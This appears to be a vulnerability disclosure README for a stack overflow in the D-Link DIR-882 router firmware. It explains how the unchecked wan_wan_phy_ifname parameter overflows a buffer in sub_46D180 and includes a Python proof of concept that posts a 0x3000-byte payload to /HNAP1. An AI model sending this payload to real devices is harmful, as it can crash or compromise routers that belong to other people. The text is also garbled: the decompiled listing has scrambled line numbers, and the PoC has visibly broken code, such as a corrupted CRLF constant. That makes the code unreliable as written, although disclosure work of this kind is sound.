

adme.md

D-Link DIR-882(1.10B02, 1.20B06) has a Stack Overflow Vulnerability

Product

- $1. \ product information: http://support.dlink.com.cn:9000/ProductInfo.aspx?m=DIR-882$
- 2. firmware download: http://support.dlink.com.cn:9000/download.ashx?file=6573

Affected version

1.10B02, 1.20B06

Vulnerability

In sub_46D180 function, wan_wan_phy_ifname is controllable and will be passed into the v37 . Then, v37 will be spliced into v50 by snprintf . It is worth noting that there is no size check, which leads to a stack overflow vulnerability.

```
if (!strcmp(v37, v47))
 206
 207
                   if ( atoi(v20) )
 208
                     snprintf(v50, v36, "%s %s.%s", v50, v37, v20);
209
                   else
 210
211
                     snprintf(v50, v36, "%s %s", v50, v37);
212
                   if ( atoi(v21) )
                     snprintf(v50, v36, "%s %s.%s", v50, v37, v21);
213
 214
                   else
 215
                     snprintf(v50, v36, "%s %s", v50, v37);
 216
                   if ( atoi(v22) )
                     snprintf(v50, v36, "%s %s.%s", v50, v37, v22);
217
 218
219
                     snprintf(v50, v36, "%s %s", v50, v37);
 220
 221
                 else
 222
```

PoC

```
import socket
import os
li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
11 = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')
ip = '192.168.0.1'
port = 80
r = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
r.connect((ip, port))
rn = b' r n'
p1 = b'a' * 0x3000
p2 = b'wan_wan_phy_ifname=' + p1
p3 = b"POST /HNAP1" + b" HTTP/1.1" + rn
p3 += b"Host: 192.168.0.1" + rn
p3 += b"User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:102.0) Gecko/20100101 Firefox/102.0" + rn
p3 += b"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8" + rn
p3 += b"Accept-Language: en-US,en;q=0.5" + rn
p3 += b"Accept-Encoding: gzip, deflate" + rn
p3 += b"Cookie: curShow=; ac_login_info=passwork; test=A; password=1111" + rn
p3 += b"Connection: close" + rn
p3 += b"Upgrade-Insecure-Requests: 1" + rn
p3 += (b"Content-Length: %d" % len(p2)) +rn
p3 += b'Content-Type: application/x-www-form-urlencoded'+rn
p3 += rn
p3 += p2
r.send(p3)
response = r.recv(4096)
response = response.decode()
li(response)
```



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